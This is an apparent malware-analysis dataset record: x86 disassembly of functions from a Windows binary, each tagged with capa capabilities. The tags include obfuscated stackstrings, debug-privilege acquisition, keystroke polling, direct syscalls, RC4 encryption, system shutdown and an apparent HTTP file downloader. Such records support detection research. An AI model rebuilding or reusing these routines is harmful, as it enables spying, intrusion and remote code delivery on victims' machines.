joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d7c0
Capabilities:
Contain obfuscated stackstrings
Get hostname

Disassembly:
sub esp, 0x430
push ebx
push ebp
push esi
push edi
push str.wsprintfA
push str.USER32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov ebp, dword [esp + 0x44c]
mov esi, dword [esp + 0x448]
mov ecx, ebp
mov edx, eax
mov ebx, ecx
xor eax, eax
mov edi, esi
mov byte [esp + 0x18], 0x53
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebx
mov bl, 0x74
and ecx, 3
mov byte [esp + 0x19], 0x59
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x40]
mov byte [esp + 0x1a], 0x53
rep stosd dword es:[edi], eax
mov al, 0x65
mov cl, 0x72
mov byte [esp + 0x23], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x37], al
mov eax, dword [esp + 0x444]
mov byte [esp + 0x21], cl
mov byte [esp + 0x22], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x33], cl
push eax
lea ecx, [esp + 0x1c]
lea eax, [esp + 0x44]
push ecx
push eax
mov byte [esp + 0x27], 0x54
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], 0x4d
mov byte [esp + 0x2a], 0x5c
mov byte [esp + 0x2b], 0x43
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x30], 0x6e
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x43
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], 0x6e
mov byte [esp + 0x35], bl
mov byte [esp + 0x37], 0x6f
mov byte [esp + 0x38], 0x6c
mov byte [esp + 0x39], 0x53
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], 0x5c
mov byte [esp + 0x3d], 0x53
mov byte [esp + 0x40], 0x76
mov byte [esp + 0x41], 0x69
mov byte [esp + 0x42], 0x63
mov byte [esp + 0x44], 0x73
mov byte [esp + 0x45], 0x5c
mov byte [esp + 0x46], 0x25
mov byte [esp + 0x47], 0x73
mov byte [esp + 0x48], 0
call edx
push 0
push ebp
push 0
mov byte [esp + 0x28], 0x48
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x73
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0
push esi
lea ecx, [esp + 0x2c]
push 1
lea edx, [esp + 0x60]
push ecx
push edx
push reloc.WS2_32.dll_bind
call fcn.0040b280
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
add esp, 0x2c
push esi
call edi
test eax, eax
jne 0x40d926
push ebp
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x430
ret
Function at 0x40d940
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x22c
push ebx
push esi
lea eax, [esp + 0x20]
push edi
push eax
mov byte [esp + 0x24], 0x67
mov dword [esp + 0x100], 0
mov dword [esp + 0x28], 0x9c
call dword [0x478aa4]
mov edx, dword [esp + 0x23c]
lea ecx, [esp + 0x138]
push 0x100
push ecx
push edx
call fcn.0040d7c0
mov ebx, dword [esp + 0x24c]
xor eax, eax
mov dword [esp + 0x1c], eax
add esp, 0xc
mov dword [esp + 0x14], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], eax
lea edx, [esp + 0x10]
mov dword [esp + 0x1c], eax
mov eax, dword [ebx + 0xa8]
push ecx
push edx
push eax
mov dword [esp + 0x18], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x14]
lea esi, [esp + 0x138]
mov dword [esp + 0xc4], ecx
mov ecx, 0xc
lea edi, [esp + 0xc8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.0040d600
mov dword [esp + 0xc0], eax
call fcn.0040d770
mov edi, dword [esp + 0x248]
mov dword [esp + 0xfc], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x244]
push 0x118
not ecx
sub edi, ecx
mov dword [esp + 0x104], edx
lea edx, [esp + 0x108]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
push ecx
mov ecx, ebx
call fcn.00403940
pop edi
pop esi
pop ebx
add esp, 0x22c
ret
Function at 0x40f6d0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.0040fad0
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x40f727
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
push 0
push edi
call dword [0x478bd0]
push edi
call dword [0x478bcc]
add esi, 4
cmp esi, ebx
jb 0x40f6f8
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.0040fad0
add esp, 8
push 0x64
call dword [0x478bc8]
mov ecx, edi
call fcn.0040f510
mov ecx, edi
call fcn.0040f540
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x40f850
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, pe_nt_image_headers32
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.0040fad0
add esp, 8
push esi
push 2
call dword [0x478bb8]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x40f8b5
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push pe_nt_image_headers32
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov ebx, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebx], 0x7f
mov ebp, 1
call dword [0x478bb4]
test eax, eax
je 0x40fa08
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x40f9f4
cmp eax, 4
je 0x40f9f4
cmp eax, 8
je 0x40f9f4
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call dword [0x478bc0]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call dword [0x478bc4]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [esp + 0x40]
push eax
call esi
lea ecx, [esp + 0x144]
mov edi, eax
push ecx
call esi
lea eax, [edi + eax + 6]
push ebx
lea edi, [eax + ebp]
call dword [0x478bd4]
cmp eax, edi
jae 0x40f97f
push 0x42
push edi
push ebx
call dword [0x478bb0]
mov ebx, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebp, 4
call esi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebp, [eax + ebp + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebp, [eax + ebp + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call dword [0x478bbc]
test eax, eax
jne 0x40f8ea
push 0x42
push ebp
push ebx
call dword [0x478bb0]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.0040fad0
add esp, 8
push edi
call dword [0x478bcc]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret

Function at 0x40fb60
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.0040fad0
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.0040fad0
add esp, 8
ret
Function at 0x40fd50
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [0x478c14]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x40fd20
push eax
push ecx
call sub.MSVCRT.dll__beginthreadex
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [0x478c10]
mov eax, dword [esp + 0x10]
push eax
call dword [0x478c0c]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x4100b0
Capabilities:
Simulate ctrl alt del

Disassembly:
sub esp, 0xc
push esi
call dword [0x478bf4]
push eax
call dword [0x478bf8]
mov esi, eax
mov al, 0x6f
mov byte [esp + 8], al
mov byte [esp + 0xa], al
lea eax, [esp + 4]
mov cl, 0x6e
push eax
mov byte [esp + 8], 0x57
mov byte [esp + 9], 0x69
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], 0x6c
mov byte [esp + 0xd], 0x67
mov byte [esp + 0xf], cl
mov byte [esp + 0x10], 0
call fcn.00410060
add esp, 4
test eax, eax
jne 0x410106
pop esi
add esp, 0xc
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x41012a
push esi
call fcn.0040ffc0
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret
Function at 0x410200
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x42c
push ebx
push ebp
push esi
push edi
xor edi, edi
mov al, 0x6c
push edi
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
mov byte [esp + 0x29], al
push edi
push edi
lea eax, [esp + 0x1c]
mov esi, 1
mov bl, 0x6f
mov dl, 0x69
mov cl, 0x61
push edi
push eax
mov dword [esp + 0x40], edi
mov dword [esp + 0x4c], edi
mov dword [esp + 0x44], esi
mov byte [esp + 0x24], 0x4d
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x7a
mov byte [esp + 0x27], dl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], 0x2f
mov byte [esp + 0x2c], 0x34
mov byte [esp + 0x2d], 0x2e
mov byte [esp + 0x2e], 0x30
mov byte [esp + 0x2f], 0x20
mov byte [esp + 0x30], 0x28
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x6d
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], cl
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], dl
mov byte [esp + 0x38], 0x62
mov byte [esp + 0x3a], 0x65
mov byte [esp + 0x3b], 0x29
mov byte [esp + 0x3c], 0
call dword [0x478be4]
mov ebx, eax
cmp ebx, edi
jne 0x4102bb
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x42c
ret
mov ecx, dword [esp + 0x440]
push edi
push accept
push edi
push edi
push ecx
push ebx
call dword [0x478be8]
mov ebp, eax
cmp ebp, edi
jne 0x4102e5
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x42c
ret
mov edx, dword [esp + 0x444]
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push edx
call dword [0x478bdc]
cmp eax, 0xffffffff
mov dword [esp + 0x34], eax
je 0x410371
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x3c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x3c]
push eax
push 0x400
push ecx
push ebp
call dword [0x478be0]
test esi, esi
je 0x410337
cmp word [esp + 0x3c], 0x5a4d
jne 0x41035e
mov eax, dword [esp + 0x2c]
xor esi, esi
lea edx, [esp + 0x38]
push esi
push edx
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 0x44]
push eax
push ecx
push edx
call dword [0x478bd8]
mov eax, dword [esp + 0x2c]
test eax, eax
jbe 0x410366
jmp 0x410307
mov dword [esp + 0x30], 0
mov eax, dword [esp + 0x34]
push eax
call dword [0x478c0c]
push ebp
call dword [0x478bec]
push ebx
call dword [0x478bec]
mov ecx, dword [esp + 0x30]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x42c
ret
Function at 0x44efd0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
push ebx
lea eax, [eax + eax*2]
push ebp
xor ebp, ebp
push esi
lea eax, [eax + eax*4]
push edi
mov dword [esp + 0x10], ebp
lea ecx, [ecx + eax*2 + 0x20]
mov ax, word [edx]
imul ax, word [esp + 0x24]
cmp ax, 0xf800
mov word [ecx], ax
jge 0x44f00a
mov eax, 0xfffff800
jmp 0x44f01a
cmp ax, 0x7ff
jle 0x44f017
mov eax, 0x7ff
jmp 0x44f01a
movsx eax, ax
mov edi, edx
mov word [ecx], ax
lea esi, [edx + 0x10]
lea eax, [ecx + 2]
sub edi, ecx
mov dword [esp + 0x20], esi
mov ecx, 7
mov bx, word [edi + eax]
add esi, 0x10
mov word [eax], bx
mov bx, word [esi - 0x10]
mov word [eax + 0xe], bx
add eax, 2
dec ecx
jne 0x44f030
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x18]
mov esi, 1
mov ax, word [edi]
sub word [edx], ax
mov eax, dword [esp + 0x1c]
cmp dword [ecx + eax*4 + 0xd4], esi
jne 0x44f0b2
mov ebx, edx
lea esi, [edi + 2]
sub ebx, edi
mov edi, 7
mov cx, word [ebx + esi]
add esi, 2
movsx eax, cx
cdq
xor eax, edx
mov dword [esp + 0x18], ecx
sub cx, word [esi - 2]
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
mov word [esi - 2], cx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
dec edi
mov dword [esp + 0x10], edx
jne 0x44f074
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
mov ebx, dword [esp + 0x20]
mov dx, word [ebx]
add ebx, 0x10
mov cx, dx
mov dword [esp + 0x18], edx
movsx eax, cx
sub cx, word [edi + esi*2]
cdq
xor eax, edx
mov word [edi + esi*2], cx
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
inc esi
cmp esi, 8
mov dword [esp + 0x10], edx
jb 0x44f0b6
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
Function at 0x428c46
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 8], 0
jge 0x428c68
mov eax, 0xfffffffd
jmp 0x428d48
mov ebx, dword [0x71ee7c]
add ebx, 0x1c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
je 0x428d16
mov ebx, dword [0x71ee7c]
add ebx, 4
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 6
jne 0x428cb7
mov ebx, dword [0x71ee7c]
add ebx, 8
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 0xc]
cmp dword [ebx], 2
jne 0x428cb7
mov eax, 1
jmp 0x428cbc
mov eax, 0
test eax, eax
je 0x428ce8
mov eax, dword [ebp]
add eax, 0x80
mov ecx, 0x20
push dword [eax]
sub eax, 4
loop 0x428cd1
mov eax, dword [ebp + 8]
call dword fs:[0xc0]
nop
nop
leave
ret 4
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0xffff
shr ecx, 0x10
and ecx, 0xffff
mov edx, dword [ebp]
lea edx, [edx + 8]
call dword fs:[0xc0]
nop
nop
nop
nop
nop
leave
ret 4
mov ebx, dword [0x71ee7c]
add ebx, 0x1c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
jne 0x428d3e
mov eax, dword [ebp + 8]
mov edx, dword [ebp]
lea edx, [edx + 8]
int 0x2e
nop
leave
ret 4
mov eax, 0
jmp 0x428d48
mov esp, ebp
pop ebp
ret 4

Function at 0x428e9b
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov dword [ebp + 8], 0x428f4e
mov eax, dword [ebp + 8]
leave
sub esp, 0x60
pushfd
pushal
push dword [esp + 0x84]
push 0
push eax
fnsave dword [esp + 0x30]
wait
push dword fs:[0]
mov dword fs:[0], esp
mov eax, 1
jmp dword [esp + 0xc]

Function at 0x4299ec
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.00428e9b
test eax, eax
je 0x429a2f
xor eax, eax
xchg dword [ebp + 8], eax
cmp eax, 0xffff
jle 0x429a2f
cmp word [eax], 0x5a4d
jne 0x429a2f
add eax, dword [eax + 0x3c]
cmp dword [eax], 0x4550
jne 0x429a2f
mov dword [ebp + 8], eax
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.00428f6d
mov eax, dword [ebp + 8]
jmp 0x429a48
mov esp, ebp
pop ebp
ret 4
Function at 0x4c7f70
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x5a0bcb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0058fe6a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4c7ff2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0058c894
mov eax, dword [eax]
push 0x706d78
push eax
call fcn.0057e584
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.005900f5
test bl, bl
je 0x4c7ff2
push 0x706d78
lea ecx, [esp + 0xc]
call fcn.005904d1
push 0x706d84
lea ecx, [esp + 0xc]
call fcn.005904d1
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4c802e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.005900f5
jmp 0x4c80f9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4c80b2
lea edx, [esp + 0x7c]
push 0x706d80
push edx
call fcn.0057e584
add esp, 8
test eax, eax
je 0x4c80b2
lea eax, [esp + 0x7c]
push 0x706d7c
push eax
call fcn.0057e584
add esp, 8
test eax, eax
je 0x4c80b2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4c8042
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.005900f5
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4c8900
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4c8962
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4c8970
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x5a0c4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x71a35c]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4c8aa8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4c89d6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005900f5
xor eax, eax
jmp 0x4c8b1f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0059027e
push esi
lea ecx, [esp + 0xc]
call fcn.0059050d
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x706db8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4c8afd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocStringLen
call fcn.004c8900
test eax, eax
jne 0x4c8afd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocStringLen
mov ecx, edi
call fcn.004c8900
test eax, eax
jne 0x4c8afd
lea eax, [esp + 0x14]
push 0x706d94
push eax
call fcn.0057f7d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4c8adc
lea ecx, [esp + 0x14]
push 0x706d90
push ecx
call fcn.0057f750
mov esi, eax
add esp, 8
test esi, esi
jne 0x4c8adc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4c8adf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0059022e
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4c89ee
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005900f5
xor eax, eax
jmp 0x4c8b1f
mov byte [esi], 0
push 0x706d8c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.005900f5
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4de380
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4de3ee
cmp si, 0x69
ja 0x4de3ee
add esi, 0xffd0
cmp si, 0x11
je 0x4de3be
push 0x11
call edi
test ax, ax
jge 0x4de3be
or esi, 0x2000
cmp si, 0x10
je 0x4de3d3
push 0x10
call edi
test ax, ax
jge 0x4de3d3
or esi, 0x4000
cmp si, 0x12
je 0x4de3e8
push 0x12
call edi
test ax, ax
jge 0x4de3e8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4de3fb
mov esi, 0xbd
jmp 0x4de3af
cmp si, 0x6e
jne 0x4de408
mov esi, 0xbe
jmp 0x4de3af
cmp si, 0x6f
jne 0x4de3a9
mov esi, 0xbf
jmp 0x4de3af

Function at 0x4dfd80
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x72b7d8]
xor edx, edx
cmp eax, edx
jne 0x4dfda6
xor eax, eax
mov byte [eax + 0x72b6d8], al
inc eax
cmp eax, 0x100
jl 0x4dfd8e
mov dword [0x72b7d8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x72b6d8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4dfe37
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4dfe0a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4dfdd8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4dfeb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4dff03
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4dfeea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret